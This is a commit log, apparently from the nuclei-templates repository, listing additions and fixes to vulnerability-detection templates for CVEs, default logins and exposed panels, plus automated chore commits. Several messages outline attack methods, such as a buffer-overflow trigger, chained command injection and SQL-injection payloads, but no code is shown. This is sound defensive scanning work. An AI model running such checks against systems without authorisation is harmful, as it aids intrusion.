2025-08-06 01:21:56 +05:30
ghost 10d975c3f6 chore: generate new addition list 🤖 2025-08-05 19:50:20 +00:00
ghost e4532b8c2e chore: generate templates checksum 🤖 2025-08-05 19:50:18 +00:00
ghost bb94d56fc6 chore: generate CVEs metadata 🤖 2025-08-05 19:50:15 +00:00
ghost bb523ceef1 chore: sign templates 🤖 2025-08-05 19:50:14 +00:00
pussycat0x 38d2bbc7b1 Merge pull request #12771 from projectdiscovery/CVE-2025-53558
Create CVE-2025-53558.yaml (ZTE ZXHN-F660T/F660A - Default Credentials)
2025-08-06 01:19:51 +05:30
pussycat0x b4827d0194 Template - Enhance && Rename 2025-08-05 23:45:31 +05:30
pussycat0x 1eb9d00e13 Template - Enhancement 2025-08-05 23:21:30 +05:30
ghost 04a60cfd36 chore: generate new addition list 🤖 2025-08-05 17:20:31 +00:00
ghost 81f4c90aa7 chore: sign templates 🤖 2025-08-05 17:20:28 +00:00
ghost 73000967e2 chore: generate CVEs metadata 🤖 2025-08-05 17:20:15 +00:00
pussycat0x 7a38f0fc7d Merge pull request #12774 from nukunga/CVE-2025-54782
Added CVE-2025-54782 vulnerability template for NestJS RCE
2025-08-05 22:49:59 +05:30
tpierru 18637180f0 Added pensando-default-login.yaml Template 2025-08-05 16:25:30 +02:00
ghost bf48cc9deb chore: generate new addition list 🤖 2025-08-05 13:18:39 +00:00
ghost c4fc4521a2 chore: sign templates 🤖 2025-08-05 13:18:28 +00:00
Dhiyaneshwaran fee91ebce3 Merge pull request #12785 from projectdiscovery/pussycat0x-patch-12
Create zipline-installer.yaml
2025-08-05 18:48:03 +05:30
ghost b3d6559389 chore: generate new addition list 🤖 2025-08-05 06:12:13 +00:00
ghost 586c1c8618 chore: sign templates 🤖 2025-08-05 06:12:08 +00:00
ghost 4e34e9e0ad chore: generate templates checksum 🤖 2025-08-05 06:12:05 +00:00
ghost 96261267f3 chore: generate CVEs metadata 🤖 2025-08-05 06:11:59 +00:00
Dhiyaneshwaran 093c1b6cb7 Merge pull request #12579 from johnk3r/main
CVE-2025-25257 (Critical, CVSS: 9.8) - FortiWeb Vulnerability
2025-08-05 11:41:43 +05:30
pussycat0x 9446902545 minor - chnages 2025-08-05 11:32:30 +05:30
Jaenact b02c089466 feat(sqli): Add multiple payloads and author to time-based-sqli template 2025-08-05 14:30:23 +09:00
Vatsal Mangukiya 27dd79b4f9 Merge pull request #2 from vats147/feat/cve-2019-1663-template
feat: Add Nuclei template for CVE-2019-1663
2025-08-05 08:46:27 +05:30
google-labs-jules[bot] a0d7669594 feat: add nuclei template for CVE-2019-1663
This commit adds a new Nuclei template for CVE-2019-1663, a remote command execution vulnerability in Cisco RV series routers.

The template detects the vulnerability by sending a long password to the login page, which should trigger a buffer overflow and cause the server to time out.
2025-08-05 03:16:03 +00:00
Vatsal Mangukiya c012b168fd Merge branch 'projectdiscovery:main' into main 2025-08-05 08:40:16 +05:30
4bd0 19dc56faa0 fix(exposed-pki-cert): tighten matchers and remove root path to reduce false-positives
- Changed matchers-condition from `or` to `and` to require both keyword and regex matches
- Removed the empty payload path (`""`) to avoid scanning the root URL
- Prefixed all `paths` entries with `/` for consistency
- Simplified and strengthened regex patterns for `CN` and `.crl/.cer/.p7b` links
- Enhanced OCSP stub exclusion using a more precise regex
2025-08-05 02:40:14 +03:00
ghost 6418fa236b chore: sign templates 🤖 2025-08-04 23:30:29 +00:00
ghost b3de687f69 chore: generate templates checksum 🤖 2025-08-04 23:30:26 +00:00
Prince Chaddha 5a264d6e85 Merge pull request #12786 from projectdiscovery/CVE-2024-23897-FN
CVE-2024-23897 (Jenkins < 2.441 - Arbitrary File Read) - False Negative
2025-08-04 16:30:00 -07:00
Ritik Chaddha 77f664c4f0 fix template 2025-08-05 04:49:09 +05:30
Prince Chaddha 36c8011c37 fix-CVE-2024-23897 2025-08-04 16:10:18 -07:00
Dhiyaneshwaran ff9c4a8903 Update suse-manager-panel.yaml 2025-08-05 01:44:55 +05:30
pussycat0x fba07d34e7 Directory change && minor - update 2025-08-04 23:55:37 +05:30
pussycat0x c6168548ad lint -fix 2025-08-04 23:42:09 +05:30
pussycat0x 810e4b024a Create zipline-installer.yaml 2025-08-04 23:20:23 +05:30
Vatsal Mangukiya 897e562c36 Merge pull request #1 from vats147/CVE-2022-24990-terramaster-rce
Add Nuclei Template for CVE-2022-24990 TerraMaster RCE
2025-08-04 19:10:33 +05:30
google-labs-jules[bot] 34c65dfd28 feat(cve): Add template for CVE-2020-0610
This adds a Nuclei template for CVE-2020-0610, a critical unauthenticated remote code execution vulnerability in Microsoft Windows Remote Desktop Gateway (RD Gateway).
2025-08-04 13:24:51 +00:00
google-labs-jules[bot] 02299e16d2 feat(cve): Add template for CVE-2022-24990
This adds a Nuclei template for CVE-2022-24990, a critical unauthenticated remote code execution vulnerability in TerraMaster TOS. The template chains the information disclosure (CVE-2022-24990) with the command injection (CVE-2022-24989) to provide a full proof of concept.
2025-08-04 12:43:27 +00:00
SeungAh Hong 7d53855fea Add CVE-2025-34073.yaml 2025-08-04 21:01:24 +09:00
ghost 3aa0a222d7 chore: generate new addition list 🤖 2025-08-04 06:47:28 +00:00
ghost 9e8a440d4d chore: sign templates 🤖 2025-08-04 06:47:19 +00:00
ghost cfe4e54452 chore: generate templates checksum 🤖 2025-08-04 06:47:12 +00:00
Ritik Chaddha e5a5bcdd43 Merge pull request #12761 from oleveloper/tomcat
Create file-disable-directory-listing.yaml
2025-08-04 12:16:55 +05:30
ghost 231d9a84df chore: sign templates 🤖 2025-08-04 06:41:53 +00:00
ghost 6b8d3f148f chore: generate templates checksum 🤖 2025-08-04 06:41:44 +00:00
Ritik Chaddha 7917a25d31 Merge pull request #12740 from darses/patch-37
Update tableau-server-detect
2025-08-04 12:11:25 +05:30
ghost d5c569e1a9 chore: sign templates 🤖 2025-08-04 06:40:03 +00:00
ghost a8197b1e67 chore: generate templates checksum 🤖 2025-08-04 06:39:57 +00:00
Ritik Chaddha 015f0bb702 Merge pull request #12716 from thezakman/robots-fix
Enhanced robots.txt template: added Sitemap matcher, replaced DSL wit…
2025-08-04 12:09:36 +05:30
Ritik Chaddha 212dad6a4f added and condition 2025-08-04 12:05:42 +05:30
ghost 54fb26bacd chore: generate templates checksum 🤖 2025-08-04 06:26:05 +00:00
ghost 928b40017a chore: sign templates 🤖 2025-08-04 06:25:57 +00:00
Ritik Chaddha a50b13a687 Merge pull request #12773 from darses/patch-40
Update opennebula-panel
2025-08-04 11:55:32 +05:30
pussycat0x e8e5d5f75b template rename and minor changes 2025-08-03 23:05:02 +05:30
Dhiyaneshwaran f6951786d3 added additional matcher 2025-08-03 22:19:25 +05:30
Icaro Torres 4a087d12d2 Create diced-zipline-detect.yaml 2025-08-03 11:00:35 -03:00
SeongHyeonJeon[nukunga] f203fdeff5 chore: fix trailing newline in CVE-2025-54782.yaml 2025-08-03 21:30:48 +09:00
SeongHyeonJeon[nukunga] bd5b731547 fix: update matchers and remove redundant conditions in CVE-2025-54782.yaml 2025-08-03 21:14:34 +09:00
SeongHyeonJeon[nukunga] 07fd1a24d8 chore: remove trailing space in HTTP method configuration in CVE-2025-54782.yaml 2025-08-03 20:37:28 +09:00
SeongHyeonJeon[nukunga] 988541237d fix: update HTTP method configuration and matchers in CVE-2025-54782.yaml 2025-08-03 19:04:19 +09:00
SeongHyeonJeon[nukunga] a0b450d929 chore: update comment for interactsh_protocol matcher in CVE-2025-54782.yaml 2025-08-03 18:53:17 +09:00
SeongHyeonJeon[nukunga] 232e60fafd feat: add CVE-2025-54782 vulnerability template for NestJS RCE 2025-08-03 18:47:37 +09:00
JeonSeongHyeon c58f2a2ddf Update CVE-2025-50738.yaml 2025-08-03 18:24:09 +09:00
Chris f82eb2dfea Update opennebula-panel 2025-08-03 09:49:16 +02:00
[SeongHyeonJeon]nukunga 98272924cf feat: add CVE-2025-50738 template for stored XSS vulnerability in Memos 2025-08-03 14:47:44 +09:00
Dhiyaneshwaran fb23d902ac Create CVE-2025-53558.yaml 2025-08-03 07:43:03 +05:30
Dhiyaneshwaran 39e1010924 Update CVE-2025-5394.yaml 2025-08-03 06:15:12 +05:30
Dhiyaneshwaran 4a7f46ef17 added comments 2025-08-03 06:12:22 +05:30
Dhiyaneshwaran ac9d648334 Create CVE-2025-5394.yaml 2025-08-03 05:42:36 +05:30
pussycat0x 97b3b4b90f minor -changes 2025-08-02 23:12:10 +05:30
tomaquet18 42570c2194 feat: added 2018-19127 2025-08-02 13:15:39 +02:00
ghost e63b18e5f7 chore: generate new addition list 🤖 2025-08-01 18:04:32 +00:00
ghost 7f7c0d3ff1 chore: sign templates 🤖 2025-08-01 18:04:29 +00:00
ghost c8f9f2163e chore: generate templates checksum 🤖 2025-08-01 18:04:21 +00:00
Prince Chaddha bc9deb6b69 Merge pull request #12706 from rxerium/missing-osint-uenumeration
Fixes to OSINT Templates
2025-08-01 13:04:03 -05:00
Prince Chaddha 878d9b1606 Merge branch 'main' into missing-osint-uenumeration 2025-08-01 12:57:44 -05:00
Prince Chaddha b154e0f42d Updated info CVE-2025-8286 2025-08-01 10:50:23 -07:00
ghost 6773534c51 chore: generate new addition list 🤖 2025-08-01 14:41:37 +00:00
ghost 00182ba142 chore: sign templates 🤖 2025-08-01 14:41:33 +00:00
ghost 966397da55 chore: generate templates checksum 🤖 2025-08-01 14:41:29 +00:00
ghost 577ceddc42 chore: generate CVEs metadata 🤖 2025-08-01 14:41:25 +00:00
Dhiyaneshwaran fd10e97d04 Merge pull request #12634 from projectdiscovery/pussycat0x-patch-17
Create CVE-2025-4334.yaml
2025-08-01 20:11:04 +05:30
Dhiyaneshwaran 99c523d520 fix-description 2025-08-01 20:09:16 +05:30
Chris 3c26069bab Increase banner size 2025-08-01 16:09:51 +02:00
Chris 9d159b4b6a Add CVE-2025-8286 - Güralp Systems FMUS 2025-08-01 15:55:09 +02:00
pussycat0x fd34d9a384 lint -fix 2025-08-01 19:19:05 +05:30
pussycat0x 1fae97a5e2 tags -update 2025-08-01 19:06:49 +05:30
pussycat0x b74dadcfa1 Fix- Fixed pki-validation-exposure.yaml 2025-08-01 18:35:36 +05:30
pussycat0x ba4a8d1585 Fix - oauth-authorization-server-exposure.yaml 2025-08-01 18:27:27 +05:30
pussycat0x af150dc807 Format - Fix nostr-json-exposure.yaml 2025-08-01 18:01:28 +05:30
pussycat0x e2461db562 format - fix mta-sts-exposure.yaml 2025-08-01 17:52:47 +05:30
adervis3 e8fcbcfc34 Update CVE-2024-36104.yaml 2025-08-01 07:50:37 +03:00
adervis3 778fffd2a4 Update CVE-2024-38856.yaml 2025-08-01 07:48:06 +03:00
oleveloper 456ab289f1 Create file-disable-directory-listing.yaml
This PR adds a template to detect directory listing enabled on Apache
Tomcat servers.
It works by inspecting the HTTP response body for directory index
patterns such as "Directory Listing For" and "<a href=", and confirms
the content type is text/html.
The Accept-Language: en header ensures consistent response parsing.
2025-07-31 20:36:01 +09:00
pussycat0x f2c5e7f28b FP -fix ftp-anonymous-login.yaml 2025-07-31 16:38:27 +05:30
adervis3 ddccc8db6f Merge branch 'projectdiscovery:main' into main 2025-07-31 13:57:48 +03:00
adervis3 4e91147cbd Update CVE-2024-38856.yaml
Added Windows support.
2025-07-31 13:57:08 +03:00
adervis3 ab7cfb6ffb Update CVE-2024-36104.yaml
Fixed epss score
2025-07-31 13:55:52 +03:00
adervis3 da343a07fa Update CVE-2024-36104.yaml
Added Windows support.
2025-07-31 13:51:52 +03:00
pussycat0x 9956728a53 template struct - fix 2025-07-31 16:11:05 +05:30
ghost 7e5f3fa1a8 chore: generate new addition list 🤖 2025-07-31 10:37:29 +00:00
ghost 6e75d2506a chore: sign templates 🤖 2025-07-31 10:37:25 +00:00
ghost 80c43c5372 chore: generate templates checksum 🤖 2025-07-31 10:37:23 +00:00
ghost d0577e6bf0 chore: generate CVEs metadata 🤖 2025-07-31 10:37:20 +00:00
Dhiyaneshwaran 4cb66a7f77 Merge pull request #12754 from projectdiscovery/pussycat0x-patch-8
Create CVE-2024-2053.yaml
2025-07-31 16:06:57 +05:30
ghost ce7e069119 chore: generate new addition list 🤖 2025-07-31 10:27:50 +00:00
ghost d3a99d33d0 chore: sign templates 🤖 2025-07-31 10:27:43 +00:00
ghost 8128d0c7f7 chore: generate CVEs metadata 🤖 2025-07-31 10:27:39 +00:00
pussycat0x 761c038a18 Merge pull request #12749 from s-cu-bot/add-templates
Add CVE-2025-44177 template
2025-07-31 15:57:15 +05:30
pussycat0x 152b15545b tags - update 2025-07-31 15:52:34 +05:30
songyaeji c2a185916e Merge branch 'main' into misconfiguration 2025-07-31 18:48:37 +09:00
Dhiyaneshwaran a24494c988 updated matcher 2025-07-31 12:15:33 +05:30
ghost f30cca4fc2 chore: generate new addition list 🤖 2025-07-31 06:35:48 +00:00
ghost 648fdd9dc6 chore: sign templates 🤖 2025-07-31 06:35:40 +00:00
ghost 84b8fd9738 chore: generate templates checksum 🤖 2025-07-31 06:35:37 +00:00
Dhiyaneshwaran 315740906c Merge pull request #12751 from icarot/main
Create apache-inlong-detect.yaml and apache-inlong-default-login.yaml
2025-07-31 12:05:12 +05:30
Dhiyaneshwaran 77d3f83a6e fix-trail-space 2025-07-31 11:51:38 +05:30
ghost a45462d7b7 chore: generate new addition list 🤖 2025-07-31 06:19:58 +00:00
ghost b1bff7ba2a chore: generate templates checksum 🤖 2025-07-31 06:19:46 +00:00
ghost caaf13c413 chore: sign templates 🤖 2025-07-31 06:19:39 +00:00
Dhiyaneshwaran 928b3b0ecd Merge pull request #11984 from HuTa0kj/feature/nocobase
Add NocoBase Detect
2025-07-31 11:49:15 +05:30
Al Baradi Joy 65c1bb4abb Create exposed-venv-dir.yaml 2025-07-31 02:34:50 +06:00
Chris 1f0b8efc24 Create suse-manager-panel.yaml 2025-07-30 20:50:12 +02:00
Dhiyaneshwaran c038a828a5 updated metadata 2025-07-30 17:43:42 +05:30
Dhiyaneshwaran c3c224545b Update CVE-2024-2053.yaml 2025-07-30 17:42:18 +05:30
pussycat0x f0fc36f580 matchers - update 2025-07-30 17:38:38 +05:30
pussycat0x be9521710a reference - update 2025-07-30 17:32:42 +05:30
pussycat0x 36ec678978 Create CVE-2024-2053.yaml 2025-07-30 17:25:19 +05:30
ghost 94e0273137 chore: generate new addition list 🤖 2025-07-30 10:08:33 +00:00
ghost 85501366bf chore: sign templates 🤖 2025-07-30 10:08:26 +00:00
ghost 8825edfb51 chore: generate templates checksum 🤖 2025-07-30 10:08:22 +00:00
Dhiyaneshwaran a21728af8a Merge pull request #11972 from rxerium/dnt-detect
DNT Policy Detect
2025-07-30 15:38:01 +05:30
ghost 0e5b6ab62b chore: generate new addition list 🤖 2025-07-30 10:07:57 +00:00
ghost 54801cd36d chore: sign templates 🤖 2025-07-30 10:07:51 +00:00
ghost 737d155021 chore: generate templates checksum 🤖 2025-07-30 10:07:47 +00:00
Dhiyaneshwaran 1a684af098 Merge pull request #12652 from projectdiscovery/Anonymous-LWhws8NzLuhJoscTAqcVoS
Added template for easycvr-user-info-leak
2025-07-30 15:37:23 +05:30
Dhiyaneshwaran 34c5911837 Update and rename http/vulnerabilities/easycvr-user-info-disclosure.yaml to http/vulnerabilities/other/easycvr-user-info-disclosure.yaml 2025-07-30 15:33:03 +05:30
ghost 32b58b3a8c chore: generate new addition list 🤖 2025-07-30 10:02:32 +00:00
ghost 9809c6bc5d chore: sign templates 🤖 2025-07-30 10:02:29 +00:00
ghost 94dbcfb78a chore: generate templates checksum 🤖 2025-07-30 10:02:26 +00:00
ghost 0125cde038 chore: generate CVEs metadata 🤖 2025-07-30 10:02:21 +00:00
Dhiyaneshwaran 3ebd12c02b Merge pull request #12753 from projectdiscovery/CVE-2025-1595
Create CVE-2025-1595.yaml
2025-07-30 15:32:03 +05:30
ghost 6d6be0335d chore: sign templates 🤖 2025-07-30 10:01:13 +00:00
ghost d980f3b47a chore: generate templates checksum 🤖 2025-07-30 10:01:01 +00:00
Dhiyaneshwaran 27a2502659 Merge pull request #12562 from thezakman/composer
Fixed FN .lock detection
2025-07-30 15:30:36 +05:30
Dhiyaneshwaran 9b9e50d26c fix-file-name 2025-07-30 15:27:39 +05:30
Dhiyaneshwaran 43624afd61 fix space 2025-07-30 15:24:53 +05:30
Ritik Chaddha 8e31663257 Create CVE-2025-1595.yaml 2025-07-30 09:55:18 +05:30
Ritik Chaddha d4710dd125 Update and rename easycvr-user-info-leak.yaml to http/vulnerabilities/easycvr-user-info-disclosure.yaml 2025-07-30 09:44:27 +05:30
Ritik Chaddha e92f3a88e9 updated matchers 2025-07-30 09:33:04 +05:30
Ritik Chaddha a507f32385 Update do-not-track-policy-detect.yaml 2025-07-30 09:27:14 +05:30
Ritik Chaddha 1716f30874 Update nocobase-detect.yaml 2025-07-30 09:25:31 +05:30
Ritik Chaddha 5ad3603776 updated matcher 2025-07-30 09:19:01 +05:30
Ritik Chaddha 194a4f5b7f updated matchers 2025-07-30 09:14:10 +05:30
Icaro Torres 48a5976444 Create apache-inlong-detect.yaml
Detects a Apache InLong server, a one-stop, full-scenario integration framework for massive data.
2025-07-29 22:21:28 -03:00
Icaro Torres b6aa937547 Create apache-inlong-default-login.yaml
Apache InLong server enables default admin credentials. An attacker can execute unauthorized operations.
2025-07-29 22:19:28 -03:00
s-cu-bot 77d3b6970c Merge branch 'main' into add-templates 2025-07-30 08:33:35 +09:00
s-cu-bot 652518b76e Update CVE-2025-44177.yaml
- Fixed vendor/product metadata to use lowercase format
- Revise cve tag to cve2025
- Fixed tag formatting by removing spaces
- fixed template ID to 'CVE-2025-44177'
- add impact section in description
2025-07-30 08:33:10 +09:00
s-cu-bot 1b19340044 Update CVE-2025-44177.yaml 2025-07-30 08:26:00 +09:00
ghost 5c0d68a8ee chore: generate new addition list 🤖 2025-07-29 20:28:06 +00:00
ghost d8599a79a3 chore: sign templates 🤖 2025-07-29 20:28:05 +00:00
ghost b5c9d107c1 chore: generate templates checksum 🤖 2025-07-29 20:27:54 +00:00
Dhiyaneshwaran 79d026a32e Merge pull request #12662 from projectdiscovery/add-scalar-detection-template
Add Scalar API documentation detection template
2025-07-30 01:57:30 +05:30
Ritik Chaddha 8a135c4029 updated matchers 2025-07-30 01:49:28 +05:30
Ritik Chaddha cbe00a6d9a Delete http/cves/2020/CVE-2020-24914.yaml 2025-07-30 01:37:52 +05:30
songyaeji b95396211a finally modifying 2025-07-30 03:06:52 +09:00
songyaeji a727d0f20b modifying root-remote-login.yaml, password-complexity-not-enforced.yaml 2025-07-30 02:23:34 +09:00
s-cu-bot f9a18da686 Add CVE-2025-44177 template 2025-07-30 00:11:52 +09:00
ghost 3348f92609 chore: generate new addition list 🤖 2025-07-29 10:54:27 +00:00
ghost d8fc44d079 chore: generate templates checksum 🤖 2025-07-29 10:54:23 +00:00
ghost a9b8dec658 chore: generate CVEs metadata 🤖 2025-07-29 10:54:19 +00:00
Dhiyaneshwaran 74b30ea26d Merge pull request #12657 from Sourabh-Sahu/main
Create CVE-2022-25237.yaml
2025-07-29 16:23:56 +05:30
Dhiyaneshwaran 8ecd04b29f Update CVE-2022-25237.yaml 2025-07-29 16:15:20 +05:30
ghost 64467ef2a8 chore: generate new addition list 🤖 2025-07-29 10:42:41 +00:00
ghost bedc88b537 chore: sign templates 🤖 2025-07-29 10:42:39 +00:00
ghost 2c056bceb3 chore: generate templates checksum 🤖 2025-07-29 10:42:30 +00:00
Dhiyaneshwaran 07c5c00969 Merge pull request #12498 from icarot/main
Create openmetadata-detect.yaml and openmetadata-default-login.yaml
2025-07-29 16:12:09 +05:30
Dhiyaneshwaran bacc2f08c4 trail-space-fix 2025-07-29 16:09:30 +05:30
ghost 257efe3b87 chore: generate new addition list 🤖 2025-07-29 10:37:23 +00:00
ghost 5d8ced2a75 chore: sign templates 🤖 2025-07-29 10:37:20 +00:00
ghost 597647f11d chore: generate CVEs metadata 🤖 2025-07-29 10:37:19 +00:00
ghost aa21c9dba3 chore: generate templates checksum 🤖 2025-07-29 10:37:13 +00:00
pussycat0x 84a808db18 Merge pull request #12714 from projectdiscovery/CVE-2025-6197
Create CVE-2025-6197.yaml (Open Redirect via Organization Switching)
2025-07-29 16:06:51 +05:30
Dhiyaneshwaran 0198b40b62 case sensitive fix metadata 2025-07-29 16:06:32 +05:30
Dhiyaneshwaran 9acc7ece4e Update and rename http/default-logins/openmetadata-default-login.yaml to http/default-logins/openmetadata/openmetadata-default-login.yaml 2025-07-29 16:05:45 +05:30
Dhiyaneshwaran 78ac9c6617 update username and password with variables 2025-07-29 16:01:18 +05:30
ghost b94d8e5ada chore: generate new addition list 🤖 2025-07-29 10:28:57 +00:00
ghost c26130fb14 chore: sign templates 🤖 2025-07-29 10:28:51 +00:00
pussycat0x 901822f559 Merge pull request #12708 from hdm/bug/12697
Address false negative in iDRAC 9 Default Login
2025-07-29 15:58:27 +05:30
ghost 59b2ee2fde docs: update README 🤖 2025-07-28 22:52:49 +00:00
ghost 749b9094c1 chore: generate templates stats 🤖 2025-07-28 22:52:06 +00:00
ghost 364dd93c55 chore: sign templates 🤖 2025-07-28 22:46:10 +00:00
ghost ac2dbf327e chore: generate templates checksum 🤖 2025-07-28 22:46:07 +00:00
ghost f60239197e chore: generate CVEs metadata 🤖 2025-07-28 22:46:03 +00:00
Dhiyaneshwaran e6f207dfd5 Merge pull request #12746 from projectdiscovery/FN-CVE-2025-4388
Fix FN CVE-2025-4388.yaml
2025-07-29 04:15:45 +05:30
ghost 39b997c979 chore: sign templates 🤖 2025-07-28 22:44:50 +00:00
ghost e3da19d00e chore: generate templates checksum 🤖 2025-07-28 22:44:41 +00:00
Dhiyaneshwaran 2c66908168 Merge pull request #12643 from darses/patch-34
Update aspect-control-panel
2025-07-29 04:14:25 +05:30
ghost 62cdc4465a chore: generate templates checksum 🤖 2025-07-28 22:44:16 +00:00
ghost 4642a085e0 chore: sign templates 🤖 2025-07-28 22:44:13 +00:00
Dhiyaneshwaran 4ad2d0ded0 Merge pull request #12738 from darses/patch-35
Update papercut-ng-panel
2025-07-29 04:13:49 +05:30
ghost 9bcf811c4f chore: sign templates 🤖 2025-07-28 22:42:38 +00:00
ghost 937601233a chore: generate templates checksum 🤖 2025-07-28 22:42:29 +00:00
Dhiyaneshwaran 959ef7e047 Merge pull request #12578 from adervis3/main
Update CVE-2024-32113.yaml
2025-07-29 04:12:03 +05:30
Dhiyaneshwaran 1089777fb6 Merge branch 'main' into main 2025-07-29 04:11:24 +05:30
Ritik Chaddha 5ad430f27d Fix FN CVE-2025-4388.yaml 2025-07-29 04:06:09 +05:30
Prince Chaddha 901f54e4cf Update .new-additions 2025-07-28 17:34:45 -05:00
ghost ab5879aea8 chore: sign templates 🤖 2025-07-28 22:24:01 +00:00
ghost f33448ca0a chore: generate templates checksum 🤖 2025-07-28 22:23:45 +00:00
Prince Chaddha 1aed9011a8 Merge pull request #12744 from projectdiscovery/v10.2.6-release
v10.2.6-release - removed invalid WP templates + fixed redirect field + Updated EPSS
2025-07-28 17:23:20 -05:00
Prince Chaddha 9d187aaec7 Merge branch 'main' into v10.2.6-release 2025-07-28 17:16:38 -05:00
ghost 8e291f6b50 chore: sign templates 🤖 2025-07-28 22:15:47 +00:00
ghost 5afb209f04 chore: generate templates checksum 🤖 2025-07-28 22:15:44 +00:00
Prince Chaddha 1b25195568 Merge pull request #12745 from projectdiscovery/cursor/update-kev-tags-for-vulnerabilities-6cd7
Update kev tags for vulnerabilities
2025-07-28 17:15:20 -05:00
Prince Chaddha d32621427b updated EPSS score 2025-07-28 17:11:21 -05:00
Cursor Agentandprince 01a5929977 Add 'kev' tag to multiple CVE and vulnerability templates
Co-authored-by: prince <[email protected]>
2025-07-28 20:37:38 +00:00
Prince Chaddha 34ea099b62 removed invalid WP templates and fixed redirect field 2025-07-28 15:26:51 -05:00
Ritik Chaddha 58545f32b2 Update papercut-ng-panel.yaml 2025-07-29 01:55:18 +05:30
Ritik Chaddha 2a4f36f140 Update openmetadata-default-login.yaml 2025-07-29 01:50:39 +05:30
Ritik Chaddha d62971d8a2 Update openmetadata-detect.yaml 2025-07-29 01:48:21 +05:30
Ritik Chaddha 7f601b59e8 updated macthers 2025-07-29 01:46:47 +05:30
Prince Chaddha 1d8edc6beb Fix papercut-ng-panel template issues
- Fixed typo in Shodan query: httl.favicon.hash -> http.favicon.hash
- Removed trailing colon from favicon hash query
- Added CVSS metrics and CWE-200 to classification section
- Added ZoomEye query for better search coverage
2025-07-28 15:15:22 -05:00
Prince Chaddha 029884e796 Improve meddream-dicom-viewer-panel template
- Added classification section with CVSS metrics and CWE-200
- Standardized description format
- Added verified metadata and max-request
- Updated search queries format
- Added ZoomEye query
- Reordered tags for consistency
2025-07-28 15:14:16 -05:00
Prince Chaddha 0169ded4f4 Update tableau-server-detect template
- Added salesforce tag since Tableau is owned by Salesforce
- Added ZoomEye query for better search coverage
2025-07-28 15:12:13 -05:00
ghost db46c5e0b2 chore: generate new addition list 🤖 2025-07-28 20:10:12 +00:00
ghost 9ca7d70920 chore: sign templates 🤖 2025-07-28 20:10:10 +00:00
ghost c00d6ad004 chore: generate templates checksum 🤖 2025-07-28 20:10:08 +00:00
Dhiyaneshwaran 661c82652c Merge pull request #12580 from matejsmycka/ysoft-enum
feat: add YSoft SafeQ panel exposure template
2025-07-29 01:39:42 +05:30
ghost ae9c9d52a8 chore: generate templates checksum 🤖 2025-07-28 20:06:16 +00:00
ghost 544d44de72 chore: sign templates 🤖 2025-07-28 20:06:07 +00:00
Ritik Chaddha f6bd321a43 Merge pull request #12501 from rxerium/threads-update
Threads Domain Update
2025-07-29 01:35:44 +05:30
Ritik Chaddha f6ee3f5456 Update safeq-panel.yaml 2025-07-29 01:32:48 +05:30
Ritik Chaddha 9cd038dbd8 Update aspect-control-panel.yaml 2025-07-29 01:20:29 +05:30
Chris c21fd1cf9e Update tableau-server-detect 2025-07-28 20:30:18 +02:00
Chris 81c49c1d2b Update tableau-server-detect
- Vendor salesforce
- Add Shodan/FOFA queries
2025-07-28 20:26:25 +02:00
Chris 138549e460 Add reference to vendor product page 2025-07-28 20:14:18 +02:00
Chris 2db94a0854 Create meddream-dicom-viewer-panel.yaml 2025-07-28 20:11:44 +02:00
Chris 60dbffdd40 Update papercut-ng-panel
- Additional fofa/shodan queries
- Extract build date from static file reference
2025-07-28 19:40:00 +02:00
ghost 5ce505c492 chore: generate new addition list 🤖 2025-07-28 12:26:53 +00:00
ghost b5065b6d74 chore: generate CVEs metadata 🤖 2025-07-28 12:26:51 +00:00
ghost cca8cc3a49 chore: sign templates 🤖 2025-07-28 12:26:48 +00:00
ghost aa5c736a6e chore: generate templates checksum 🤖 2025-07-28 12:26:42 +00:00
pussycat0x ccb2ad76ab Merge pull request #12685 from projectdiscovery/etq-reliance-auth-bypass
Create CVE-2025-34143.yaml (ETQ Reliance Authentication Bypass via Trailing Space)
2025-07-28 17:56:24 +05:30
songyaeji a5619f0c67 creating misconfiguration directory and adding root-remote-login.yaml, password-complexity-not-enforced.yaml 2025-07-28 19:34:39 +09:00
ghost 7dd0815883 chore: generate new addition list 🤖 2025-07-28 07:01:59 +00:00
ghost f8423b2f0c chore: generate CVEs metadata 🤖 2025-07-28 07:01:58 +00:00
ghost f8c1d1b4b9 chore: sign templates 🤖 2025-07-28 07:01:55 +00:00
pussycat0x d9e946205f Merge pull request #12726 from kylew1004/CVE-2025-34077
Create CVE-2025-34077.yaml
2025-07-28 12:31:30 +05:30
pussycat0x b9fc3e5b0b Update Description CVE-2025-34077.yaml 2025-07-28 12:17:19 +05:30
pussycat0x b59ab60b94 Update CVE-2025-34077.yaml 2025-07-28 12:14:10 +05:30
Dhiyaneshwaran 9b3c206fd0 update with content_type 2025-07-27 14:17:56 +05:30
Dhiyaneshwaran 130827913c added additional matcher 2025-07-27 13:08:32 +05:30
kylew1004 2a8b2f4010 Create CVE-2025-34077.yaml 2025-07-27 13:23:35 +09:00
ghost 83480642ee chore: update WordPress Plugins 🤖 2025-07-27 00:31:17 +00:00
ghost d84eab10c1 chore: generate templates checksum 🤖 2025-07-26 17:41:49 +00:00
ghost d8fb3155a5 chore: sign templates 🤖 2025-07-26 17:41:47 +00:00
Dhiyaneshwaran d6f467cd9b Merge pull request #12713 from projectdiscovery/new-bypass
Update CVE-2025-53770.yaml
2025-07-26 23:11:22 +05:30
Dhiyaneshwaran 1c8092c4a0 Merge branch 'main' into new-bypass 2025-07-26 23:01:44 +05:30
Jaenact 5ac1ca3544 Fix: yamllint errors resolved (line length, trailing space, blank lines) 2025-07-26 18:51:17 +09:00
Jaenact d92694b83f add CVE-2023-27163 template 2025-07-26 18:27:23 +09:00
Pedro Araujo 747ce4499a Merge branch 'main' into robots-fix 2025-07-26 01:48:15 -03:00
ghost 671081980e chore: update WordPress Plugins 🤖 2025-07-26 00:27:15 +00:00
ghost 7f71b2f32e chore: sign templates 🤖 2025-07-25 22:06:17 +00:00
ghost cabb7ca365 chore: generate templates checksum 🤖 2025-07-25 22:06:13 +00:00
Louis Dion-Marcil a2350a089c Match both server-info and server-status (#12720) 2025-07-26 03:35:51 +05:30
Rishi 47d7dc2b54 lint fixes 2025-07-25 18:10:03 +01:00
Rishi 1b37b7778d fix 2025-07-25 17:50:17 +01:00
Rishi 9c3a2b335b well-known exposures 2025-07-25 17:28:53 +01:00
Pedro Araujo 724a71f61e Enhanced robots.txt template: added Sitemap matcher, replaced DSL with status check
Description of changes:

- Improved keyword coverage in the robots.txt matcher by including 'Sitemap:' directive to catch more complete files.

- Removed the DSL matcher (len(body)>=140) to simplify and reduce false negatives.

- Replaced the DSL matcher with a status matcher (status: 200) for clarity and reliability.

- Reordered and expanded the word matcher list for better detection accuracy.
2025-07-25 12:27:12 -03:00
